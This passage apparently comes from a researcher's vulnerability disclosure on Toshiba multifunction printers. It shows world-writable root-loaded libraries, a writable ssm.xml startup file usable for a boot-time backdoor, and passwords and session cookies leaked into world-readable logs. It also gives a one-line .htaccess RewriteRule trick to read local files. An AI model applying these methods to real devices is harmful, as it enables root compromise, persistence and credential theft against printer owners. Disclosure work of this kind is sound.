16:13:35 CMD: UID=0 PID=31387 | sh -c dd if=/dev/mtdblock1 of=/ramdisk/FROM_SERIAL > /dev/null 2>&1 2023/05/27 16:13:35 CMD: UID=0 PID=31388 | dd if=/dev/mtdblock1 of=/ramdisk/FROM_SERIAL 2023/05/27 16:13:35 CMD: UID=0 PID=31389 | sh -c ps -e | grep ebx_dl 2023/05/27 16:13:35 CMD: UID=0 PID=31391 | grep ebx_dl
When analyzing this program, we can find several shared libraries that will be loaded - their code will be executed as root.
We can find the previously vulnerable shared libraries defined with LD_PRELOAD:
/ramdisk/al/libGetNameInfoInterface.so
/ramdisk/al/libGetAddtInfoInterface.so
We can also find several libraries that are being loaded:
bash-4.1# ldd /home/SYSROM_SRC/bin/syscallerr
linux-gate.so.1 => (0x777c0000)
/ramdisk/al/libGetNameInfoInterface.so (0x777b1000)
/ramdisk/al/libGetAddtInfoInterface.so (0x777a0000)
libpthread.so.0 => /lib/libpthread.so.0 (0x77780000)
libsqlite3.so.0 => /usr/lib/libsqlite3.so.0 (0x4be4c000)
libciindexeddb.so => /home/SYSROM_SRC/build/release/lib/libciindexeddb.so (0x77729000)
libsyscallerr.so => /home/SYSROM_SRC/build/release/lib/libsyscallerr.so (0x77720000)
libcios.so => /home/SYSROM_SRC/build/release/lib/libcios.so (0x776ad000)
libatawrapper.so.0 => /mfp/lib/libatawrapper.so.0 (0x7768b000)
libmfpcommonwrapper.so.0 => /mfp/lib/libmfpcommonwrapper.so.0 (0x77682000)
libcrypto.so.1.0.0 => /home/SYSROM_SRC/build/release/lib/libcrypto.so.1.0.0 (0x77420000)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0x4c04f000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x4c14b000)
libintlc.so.5 => /usr/lib/libintlc.so.5 (0x773c3000)
libsvml.so => /mfp/lib/libsvml.so (0x76ba9000)
libc.so.6 => /lib/libc.so.6 (0x4bc67000)
libdl.so.2 => /lib/libdl.so.2 (0x4bdaf000)
libllmnrclient.so => /home/SYSROM_SRC/build/release/lib/libllmnrclient.so (0x76b95000)
/lib/ld-linux.so.2 (0x4bc47000)
libsqlite.so.0 => /home/SYSROM_SRC/build/release/lib/libsqlite.so.0 (0x76b35000)
libcpanel.so.0 => /mfp/lib/libcpanel.so.0 (0x76b0e000)
libcimsg.so => /home/SYSROM_SRC/build/release/lib/libcimsg.so (0x76b02000)
libcissmclient.so => /home/SYSROM_SRC/build/release/lib/libcissmclient.so (0x76ae8000)
libacl.so.1 => /lib/libacl.so.1 (0x4bdd7000)
librt.so.1 => /lib/librt.so.1 (0x4be15000)
libm.so.6 => /lib/libm.so.6 (0x76abf000)
libssdk.so.0 => /home/SYSROM_SRC/build/release/lib/libssdk.so.0 (0x75f1e000)
libcihdb.so => /home/SYSROM_SRC/build/release/lib/libcihdb.so (0x75e56000)
libattr.so.1 => /lib/libattr.so.1 (0x4bdd0000)
libpam.so.0 => /lib/libpam.so.0 (0x75e4a000)
libldap-2.4.so.2 => /home/SYSROM_SRC/build/release/lib/libldap-2.4.so.2 (0x75e12000)
libssl.so.1.0.0 => /home/SYSROM_SRC/build/release/lib/libssl.so.1.0.0 (0x75da6000)
libk5crypto.so.3 => /usr/lib/libk5crypto.so.3 (0x75d84000)
libresolv.so.2 => /lib/libresolv.so.2 (0x4c164000)
libext2fs.so.2 => /usr/lib/libext2fs.so.2 (0x75d5a000)
libuuid.so.1 => /usr/lib/libuuid.so.1 (0x4be0f000)
libkrb5support.so.0 => /usr/lib/libkrb5support.so.0 (0x75d53000)
libkrb5.so.25 => /home/SYSROM_SRC/build/release/lib/libkrb5.so.25 (0x75ce2000)
libgssapi.so.2 => /home/SYSROM_SRC/build/release/lib/libgssapi.so.2 (0x75cae000)
libCryptolib.so.0 => /home/SYSROM_SRC/build/release/lib/libCryptolib.so.0 (0x75c2b000)
libirng.so => /usr/lib/libirng.so (0x75c22000)
libcilkrts.so.5 => /usr/lib/libcilkrts.so.5 (0x75bee000)
libexpat.so.1 => /usr/lib/libexpat.so.1 (0x4c403000)
libcrypt.so.1 => /lib/libcrypt.so.1 (0x75bbc000)
liblber-2.4.so.2 => /home/SYSROM_SRC/build/release/lib/liblber-2.4.so.2 (0x75bb0000)
libsasl2.so.2 => /home/SYSROM_SRC/build/release/lib/libsasl2.so.2 (0x75b8c000)
libcom_err.so.2 => /usr/lib/libcom_err.so.2 (0x4bdee000)
libhx509.so.5 => /home/SYSROM_SRC/build/release/lib/libhx509.so.5 (0x75b4b000)
libheimsqlite.so.0 => /home/SYSROM_SRC/build/release/lib/libheimsqlite.so.0 (0x75ad7000)
libhcrypto.so.4 => /home/SYSROM_SRC/build/release/lib/libhcrypto.so.4 (0x75aa4000)
libasn1.so.8 => /home/SYSROM_SRC/build/release/lib/libasn1.so.8 (0x75a02000)
libwind.so.0 => /home/SYSROM_SRC/build/release/lib/libwind.so.0 (0x759da000)
libcom_err.so.1 => /home/SYSROM_SRC/build/release/lib/libcom_err.so.1 (0x759d6000)
libroken.so.18 => /home/SYSROM_SRC/build/release/lib/libroken.so.18 (0x759c2000)
libheimntlm.so.0 => /home/SYSROM_SRC/build/release/lib/libheimntlm.so.0 (0x759bc000)
bash-4.1#
We can find these 31 insecure libraries:
The permissions of these libraries are insecure. A remote attacker can overwrite them and achieve Remote Code Execution:
-rwxrwxrwx 1 root root 322261 Dec 6 01:41 /home/SYSROM_SRC/build/release/lib/libciindexeddb.so.0 -rwxrwxrwx 1 root root 343680 Dec 6 01:48 /home/SYSROM_SRC/build/release/lib/libsyscallerr.so.0 -rwxrwxrwx 1 root root 566991 Dec 6 01:41 /home/SYSROM_SRC/build/release/lib/libcios.so.0 -rwxrwxrwx 1 root root 139986 Sep 19 2019 /mfp/lib/libatawrapper.so.0.0 -rwxrwxrwx 1 root root 38330 May 28 2019 /mfp/lib/libmfpcommonwrapper.so.0.0 -rwxrwxrwx 1 apache messagebus 2765203 Dec 6 01:28 /home/SYSROM_SRC/build/thirdparty/lib/libcrypto.so.1.0.0 -rwxrwxrwx 1 root root 9479623 Apr 25 2014 /mfp/lib/libsvml.so -rwxrwxrwx 1 root root 95211 Dec 6 02:00 /home/SYSROM_SRC/build/release/lib/libllmnrclient.so.0 -rwxrwxrwx 1 root root 744984 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libsqlite.so.0.8.6 -rwxrwxrwx 1 root root 48131 Apr 8 2019 /mfp/lib/libcpanel.so.0.0 -rwxrwxrwx 1 root root 58976 Dec 6 01:41 /home/SYSROM_SRC/build/release/lib/libcimsg.so.0 -rwxrwxrwx 1 root root 744984 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libsqlite.so.0.8.6 -rwxrwxrwx 1 root root 58976 Dec 6 01:41 /home/SYSROM_SRC/build/release/lib/libcimsg.so.0 -rwxrwxrwx 1 root root 127850 Dec 6 01:41 /home/SYSROM_SRC/build/release/lib/libcissmclient.so.0 -rwxrwxrwx 1 root root 14101772 Dec 6 01:40 /home/SYSROM_SRC/build/release/lib/libssdk.so.0.0.0 -rwxrwxrwx 1 root root 909064 Dec 6 01:41 /home/SYSROM_SRC/build/release/lib/libcihdb.so.0 -rwxrwxrwx 1 root root 269392 Dec 6 01:34 /home/SYSROM_SRC/build/thirdparty/lib/libldap-2.4.so.2.5.6 -rwxrwxrwx 1 apache messagebus 485480 Dec 6 01:28 /home/SYSROM_SRC/build/thirdparty/lib/libssl.so.1.0.0 -rwxrwxrwx 1 root root 251701 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libgssapi.so.2.0.0 -rwxrwxrwx 1 root root 539700 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libkrb5.so.25.0.0 -rwxrwxrwx 1 root root 624082 Dec 6 04:53 /home/SYSROM_SRC/NoBuildItems/common/lib/libCryptolib.so.0 -rwxrwxrwx 1 root root 624082 Apr 20 2018 /home/SYSROM_SRC/NoBuildItems/common/lib/libCryptolib.so.0.0.0 -rwxrwxrwx 1 root root 60708 Dec 6 01:34 /home/SYSROM_SRC/build/thirdparty/lib/liblber-2.4.so.2.5.6 -rwxrwxrwx 1 root root 324233 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libhx509.so.5.0.0 -rwxrwxrwx 1 root root 525228 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libheimsqlite.so.0.0.0 -rwxrwxrwx 1 root root 225346 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libhcrypto.so.4.1.0 -rwxrwxrwx 1 root root 759349 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libasn1.so.8.0.0 -rwxrwxrwx 1 root root 166289 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libwind.so.0.0.0 -rwxrwxrwx 1 root root 14571 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libcom_err.so.1.1.3 -rwxrwxrwx 1 root root 92942 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libroken.so.18.1.0 -rwxrwxrwx 1 root root 24134 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libheimntlm.so.0.1.0
An attacker can remotely compromise any Toshiba printer.
The libraries (more than hundreds) used by these programs can be replaced by malicious libraries by any local or remote attacker.
It was observed that the cissm
program runs as root inside the printers. This Toshiba-specific program will start children processes as shown below, based on the content of the /home/SYSROM_SRC/build/common/bin/ssm.xml
XML file stored in the printer:
bash-4.1# ps auxw | grep cissm
root 1487 0.0 0.3 53496 10184 ? Sl 16:34 0:02 ./cissm -T 7 -d ssm.xml
bash-4.1# pstree
[...]
|-cissm-+-alAddressBookMg
| |-alCloning
| |-alExportImport
| |-alLogRetriever
| |-alLogmanager---{alLogmanager}
| |-alPanelStartLED---{alPanelStartLE}
| |-alPanelUIMessag---{alPanelUIMessa}
| |-alServiceUIPlug
| |-alUiFrameWork---24*[{alUiFrameWork}]
| |-alViewPlugin---3*[{alViewPlugin}]
| |-alaccountmgr---2*[{alaccountmgr}]
| |-alappmanager-+-2*[python---5*[{python}]]
| | `-15*[{alappmanager}]
| |-alboserver---7*[{alboserver}]
| |-alcbamanager---26*[{alcbamanager}]
| |-aldevauthmgmtpl
| |-aldeviceconfigp
| |-aldeviceservice---{aldeviceservic}
| |-aleFilingmgr
| |-alfilestoragem
| |-algrpmgr
| |-alhddalertmgr
| |-alhddbackuprest
| |-alhomedatamgr
| |-alifaxreceive
| |-alintegritychkm
| |-aljobcontroller---8*[{aljobcontrolle}]
[...]
The XML configuration file used by cissm is located at /home/SYSROM_SRC/build/thirdparty/bin/ssm.xml
and has insecure permissions:
bash-4.1# ls -la /home/SYSROM_SRC/build/release/bin/ssm.xml /home/SYSROM_SRC/build/thirdparty/bin/ssm.xml /home/SYSROM_SRC/build/common/bin/ssm.xml
-rwxrwxrwx 1 root root 55245 Oct 7 2021 /home/SYSROM_SRC/build/common/bin/ssm.xml
lrwxrwxrwx 1 root root 28 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/ssm.xml -> ../../thirdparty/bin/ssm.xml
lrwxrwxrwx 1 root root 24 Mar 14 16:27 /home/SYSROM_SRC/build/thirdparty/bin/ssm.xml -> ../../common/bin/ssm.xmlroot
This file is used to run program as root when the printer starts and can be used to redefine any program running as root when the printer boots. This program also runs every 3 minute.
An attacker can remotely write an additional entry to start a malicious command that will be executed as root when the printer boots:
Content of /home/SYSROM_SRC/build/common/bin/ssm.xml
:
<?xml version="1.0" encoding="UTF-8"?>
<SSM xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="../../../LayerInterface/CI/ServiceStartupManager/SSM.xsd">
<!-- Start: CI Layer services -->
<Service>
<name>cischeduler</name>
<group/>
<exePath>./cischeduler</exePath>
<startupType>Automatic</startupType>
<enabled>1</enabled>
<ProcessGroup>TRUSTED</ProcessGroup>
<StartParameters>
<Param>-S</Param>
<Param>ramdisk</Param>
<Param>></Param>
<Param>/work/log/ci/cischeduler.log</Param>
</StartParameters>
</Service>
<Service>
<name>cipollproc</name>
<group/>
<exePath>./cipollproc</exePath>
<startupType>Automatic</startupType>
<enabled>1</enabled>
<ProcessGroup>TRUSTED</ProcessGroup>
<StartParameters>
<Param>></Param>
<Param>/work/log/ci/cipollproc.log</Param>
</StartParameters>
<StartupCondition>
<Condition>
<Service name="cischeduler" state="Ready"></Service>
</Condition>
</StartupCondition>
</Service>
[...]
Analysis of pspy32
running on the printer:
2023/05/27 20:32:43 CMD: UID=0 PID=4228 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:32:43 CMD: UID=0 PID=4229 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:32:46 CMD: UID=0 PID=4230 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:32:46 CMD: UID=0 PID=4231 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:32:50 CMD: UID=0 PID=4232 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:32:50 CMD: UID=0 PID=4233 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:32:53 CMD: UID=0 PID=4234 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:32:53 CMD: UID=0 PID=4235 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:32:56 CMD: UID=0 PID=4236 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:32:56 CMD: UID=0 PID=4237 | ./cissm -T 7 -d ssm.xml 2023/05/27 20:32:56 CMD: UID=0 PID=4238 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi [...] 2023/05/27 20:35:26 CMD: UID=0 PID=4393 | ./cissm -T 7 -d ssm.xml [...] 2023/05/27 20:37:56 CMD: UID=0 PID=4532 | ./cissm -T 7 -d ssm.xml [...] 2023/05/27 20:39:56 CMD: UID=0 PID=4676 | ./cissm -T 7 -d ssm.xml [...] 2023/05/27 20:42:19 CMD: UID=0 PID=4831 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:42:19 CMD: UID=0 PID=4832 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:42:22 CMD: UID=0 PID=4833 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:42:22 CMD: UID=0 PID=4834 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:42:25 CMD: UID=0 PID=4835 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:42:25 CMD: UID=0 PID=4836 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:42:26 CMD: UID=0 PID=4837 | ./cissm -T 7 -d ssm.xml 2023/05/27 20:42:27 CMD: UID=0 PID=4839 | sh -c ps -eo stat,comm | grep -e "^Z.*agent" -e "^Z.*ebx_dl" -e "^Z.*de_ipfax" 2023/05/27 20:42:27 CMD: UID=0 PID=4838 | sh -c ps -eo stat,comm | grep -e "^Z.*agent" -e "^Z.*ebx_dl" -e "^Z.*de_ipfax" 2023/05/27 20:42:29 CMD: UID=0 PID=4840 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:42:29 CMD: UID=0 PID=4841 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:42:32 CMD: UID=0 PID=4842 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/05/27 20:42:32 CMD: UID=0 PID=4843 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi [...]
An attacker can remotely compromise any Toshiba printer.
The /home/SYSROM_SRC/build/common/bin/ssm.xml
configuration file can be replaced by any local or remote attacker to run any malicious program as root when the printer starts.
Attackers can backdoor the printer.
It was observed that passwords are stored in clear-text logs.
Some logs are stored inside the /ramdisk/work/log/al
directory with insecure permissions, allowing any local attacker to read and modify these files:
bash-4.1# ls -laR /ramdisk/work/log/al/*
-rw-rw-rw- 1 root trusted 42678 May 23 16:10 /ramdisk/work/log/al/accounting.log.0.txt
-rw-rw-rw- 1 root trusted 2228 May 23 15:14 /ramdisk/work/log/al/address.log.0.txt
-rw-rw-rw- 1 root trusted 6877 May 23 15:16 /ramdisk/work/log/al/alPanelStartLEDHandler.log.0.txt
-rw-rw-rw- 1 root trusted 23536 May 23 16:10 /ramdisk/work/log/al/alPanelUIMessageHandler.log.0.txt
-rw-rw-rw- 1 root trusted 79 May 23 15:14 /ramdisk/work/log/al/albluetooth.log.0.txt
-rw-rw-rw- 1 root trusted 449 May 23 15:14 /ramdisk/work/log/al/alcloning.log.0.txt
-rw-rw-rw- 1 root trusted 1594 May 23 15:14 /ramdisk/work/log/al/alcloudclient.log.0.txt
-rw-rw-rw- 1 root trusted 987 May 23 15:14 /ramdisk/work/log/al/aldevauthmgmtplugin.log.0.txt
-rw-rw-rw- 1 root trusted 307378 May 23 16:11 /ramdisk/work/log/al/aldeviceconfig.log.0.txt
-rw-rw-rw- 1 root trusted 29171 May 23 15:16 /ramdisk/work/log/al/aldeviceservice.log.0.txt
-rw-rw-rw- 1 root trusted 128 May 23 15:15 /ramdisk/work/log/al/aleSCL.log.0.txt
-rw-rw-rw- 1 root trusted 474 May 23 15:14 /ramdisk/work/log/al/alexportimport.log.0.txt
-rw-rw-rw- 1 root trusted 1437 May 23 15:14 /ramdisk/work/log/al/alfilestoragem.log.0.txt
-rw-rw-rw- 1 root trusted 13465 May 23 16:11 /ramdisk/work/log/al/allicensemgmt.log.0.txt
-rw-rw-rw- 1 root trusted 5380 May 23 15:14 /ramdisk/work/log/al/almaintenanceplugin.log.0.txt
-rw-rw-rw- 1 root trusted 111 May 23 15:14 /ramdisk/work/log/al/alnfcplugin.log.0.txt
-rw-rw-rw- 1 root trusted 4432 May 23 16:05 /ramdisk/work/log/al/alulm.log.0.txt
-rw-rw-rw- 1 root trusted 682 May 23 15:14 /ramdisk/work/log/al/alvnclauncher.log.0.txt
-rw-rw-rw- 1 root trusted 67235 May 23 16:08 /ramdisk/work/log/al/appmanager.log.0.txt
-rw-rw-rw- 1 root trusted 31306 May 23 16:11 /ramdisk/work/log/al/authplugin.log.0.txt
-rw-rw-rw- 1 root trusted 590 May 23 15:15 /ramdisk/work/log/al/bonjour.log.0.txt
-rw-rw-rw- 1 root trusted 147834 May 23 16:15 /ramdisk/work/log/al/boserver.log.0.txt
-rwxrwxrwx 1 root trusted 250542 May 23 16:14 /ramdisk/work/log/al/boserverEvent.log.28.txt
-rw-rw-rw- 1 root trusted 1110 May 23 15:14 /ramdisk/work/log/al/cbamanager.log.0.txt
-rw-rw-rw- 1 root trusted 98 May 23 15:14 /ramdisk/work/log/al/eBRlog.log.0.txt
-rw-rw-rw- 1 root trusted 3311 May 23 15:15 /ramdisk/work/log/al/efile.log.0.txt
-rwxrwxrwx 1 root trusted 567 May 23 16:10 /ramdisk/work/log/al/grpmgrplugin.log.0.txt
-rw-rw-rw- 1 root trusted 2277 May 23 16:10 /ramdisk/work/log/al/hdm.log.0.txt
-rw-rw-rw- 1 root trusted 206 May 23 15:15 /ramdisk/work/log/al/ifaxrx.log.0.txt
-rw-rw-rw- 1 root trusted 1037 May 23 15:14 /ramdisk/work/log/al/jobcontroller.log.0.txt
-rw-rw-rw- 1 root trusted 4714 May 23 15:41 /ramdisk/work/log/al/jtm.log.0.txt
-rw-rw-rw- 1 root trusted 610 May 23 15:15 /ramdisk/work/log/al/logmanagerplugin.log.0.txt
-rw-rw-rw- 1 root trusted 286932 May 23 15:23 /ramdisk/work/log/al/logretriever.log.0.txt
-rw-rw-rw- 1 root trusted 214 May 23 15:15 /ramdisk/work/log/al/network-ipv6.log.0.txt
-rw-rw-rw- 1 root trusted 22498 May 23 15:16 /ramdisk/work/log/al/nsm.log.0.txt
-rw-rw-rw- 1 root trusted 169537 May 23 16:01 /ramdisk/work/log/al/panel.log.0.txt
-rw-rw-rw- 1 root trusted 3403 May 23 15:15 /ramdisk/work/log/al/printmanager.log.0.txt
-rw-rw-rw- 1 root trusted 26623 May 23 16:10 /ramdisk/work/log/al/prm.log.0.txt
-rw-rw-rw- 1 root trusted 1264 May 23 15:15 /ramdisk/work/log/al/remoteApplication.log.0.txt
-rw-rw-rw- 1 root trusted 565116 May 23 16:11 /ramdisk/work/log/al/renderer.log.2.txt
-rw-rw-rw- 1 root trusted 2434 May 23 15:14 /ramdisk/work/log/al/reportmanager.log.0.txt
-rw-rw-rw- 1 root trusted 426 May 23 15:14 /ramdisk/work/log/al/reportmsgr.log.0.txt
-rw-rw-rw- 1 root trusted 20834 May 23 16:11 /ramdisk/work/log/al/restrictionmode.log.0.txt
-rw-rw-rw- 1 root trusted 732 May 23 16:10 /ramdisk/work/log/al/rolemanagerplugin.log.0.txt
-rw-rw-rw- 1 root trusted 12464 May 23 16:11 /ramdisk/work/log/al/securitysettingsplugin.log.0.txt
-rw-rw-rw- 1 root trusted 19963 May 23 15:15 /ramdisk/work/log/al/sharedprint.log.0.txt
-rw-rw-rw- 1 root trusted 159 May 23 15:15 /ramdisk/work/log/al/slp.log.0.txt
-rw-rw-rw- 1 root trusted 798 May 23 15:15 /ramdisk/work/log/al/snmpd.log.0.txt
-rw-rw-rw- 1 root trusted 12287 May 23 15:15 /ramdisk/work/log/al/stage2.log.0.txt
-rw-rw-rw- 1 root trusted 5955 May 23 15:15 /ramdisk/work/log/al/swupdate.log.0.txt
-rw-rw-rw- 1 root trusted 2306 May 23 15:14 /ramdisk/work/log/al/usb.log.0.txt
-rw-rw-rw- 1 root trusted 1113 May 23 15:15 /ramdisk/work/log/al/usbprn.log.0.txt
-rw-rw-rw- 1 root trusted 14238 May 23 16:10 /ramdisk/work/log/al/usermanagerplugin.log.0.txt
-rw-rw-rw- 1 root trusted 2553 May 23 15:14 /ramdisk/work/log/al/viewplugin.log.0.txt
/ramdisk/work/log/al/epfx:
total 28
drwxrwxrwx 4 root trusted 0 May 23 15:14 .
drwxrwxrwx 5 root trusted 0 May 23 16:10 ..
-rwxrwxrwx 1 root trusted 28010 May 23 16:08 eprocessframework.log.0.txt
drwxrwxrwx 2 apache trusted 0 May 23 15:14 httpd_worker_1711
drwxrwxrwx 2 apache trusted 0 May 23 15:14 httpd_worker_1712
/ramdisk/work/log/al/wsp:
total 4
drwxrwxrwx 2 root trusted 0 May 23 15:15 .
drwxrwxrwx 5 root trusted 0 May 23 16:10 ..
-rw-rw-rw- 1 root trusted 3600 May 23 16:14 alwsprint.log.0.txt
/ramdisk/work/log/al/wsscn:
total 4
drwxrwxrwx 2 root trusted 0 May 23 15:15 .
drwxrwxrwx 5 root trusted 0 May 23 16:10 ..
-rw-rw-rw- 1 root trusted 1083 May 23 15:15 alwswsc.log.0.txt
bash-4.1#
When a user logs into the TopAccess web interface, the password will be written in logs that are world-readable as shown below.
Login as admin with the password PASSWORD-SECRET-PIERRE
, we can see the password saved into 2 log files that are world-readable:
/ramdisk/work/log/al/boserverEvent.log.*.txt
/ramdisk/al/network/log/http.log
Leak of credentials inside the log files:
bash-4.1# grep -ri PIER .
./work/log/al/boserverEvent.log.28.txt:<Evt><t>05/27 16:18:39443877</t><Set><sID>ContentWebServer_10.0.0.2.fda0f003cf95b852233893df36d9b1ff</sID><pID>8556</pID><pName>httpd</pName><SetValue><Payload XMLPayLoad = "true" overrideDelta = "true"><path></path><value><Authentication><UserCredential><userName>admin</userName><passwd>PASSWORD-SECRET-PIERRE</passwd><ipaddress>10.0.0.2</ipaddress><DepartmentManagement isEnable="false"><requireDepartment/></DepartmentManagement><domainName/><applicationType>TOP_ACCESS</applicationType></UserCredential></Authentication></value></Payload></SetValue></Set></Evt>
./al/network/log/http.log:[Fri May 27 16:18:39.519454 2023] [contentwebserver:debug] [pid 8556] ccontentwebserver.cpp(4175): [client 10.0.0.2:41700] PASSWORD-SECRET-PIERRE, referer: http://10.0.0.1:8080/TopAccessLogin.html?v=1670282309ta
These files have insecure permissions allowing any user to retrieve the passwords and to modify the logs.
The files can be also modified by a remote attacker using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
bash-4.1# ls -la /ramdisk/al/network/log/http.log ls -la /ramdisk/al/network/log/http.log -rw-rw-rw- 1 root trusted 663910 May 27 16:20 /ramdisk/al/network/log/http.log bash-4.1# ls -la /ramdisk/work/log/al/boserverEvent.log.28.txt ls -la /ramdisk/work/log/al/boserverEvent.log.28.txt -rwxrwxrwx 1 root trusted 715841 May 27 16:20 /ramdisk/work/log/al/boserverEvent.log.28.txt bash-4.1#
Using the TopAccess web interface, it is possible to update passwords of users.
Such password will be found in the log files (NEW-PASSWORD-PIERRE
):
bash-4.1# grep -r NEW-PASSWORD-PIERRE .
./work/log/al/boserverEvent.log.28.txt:<Evt><t>05/27 16:22:22933938</t><Set><sID>ContentWebServer_10.0.0.2.63e5f73ea1d7ecf9cfd935393adb8b11</sID><pID>4974</pID><pName>httpd</pName><SetValue><Payload XMLPayLoad = "true" overrideDelta = "true"><path></path><value><UserManager><View><UpdateUser><User ID="10002"><Information><passwd>NEW-PASSWORD-PIERRE</passwd><UserSoftKeyboardDisplay>true</UserSoftKeyboardDisplay></Information></User></UpdateUser></View></UserManager></value></Payload></SetValue></Set></Evt>
bash-4.1#
And this log file also has insecure permissions, allowing any user to retrieve the passwords or to modify the log file.
The files can be also modified by a remote attacker using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
bash-4.1# ls -la /ramdisk/work/log/al/boserverEvent.log.28.txt ls -la /ramdisk/work/log/al/boserverEvent.log.28.txt -rwxrwxrwx 1 root trusted 886685 May 27 16:23 /ramdisk/work/log/al/boserverEvent.log.28.txt bash-4.1#
An attacker can retrieve passwords.
An attacker can modify the logs.
A remote attacker can retrieve the credentials and bypass the authentication mechanism by uploading a .htaccess file containing a RewriteRule (RewriteRule /pwned.txt file:/path/to/local/file
), using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
It was observed that the session cookies, used for authentication, are stored in clear-text logs. These logs are world-readable and some can also be freely modified by any local attacker.
Some logs are stored inside the /ramdisk/work/log
directory with insecure permissions. We can find the authentication sessions (e.g. ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e
) inside.
Leak of sessions inside the log files:
bash-4.1# pwd
/work/log
bash-4.1# grep -r '10.0.0.2\.' *
[...]
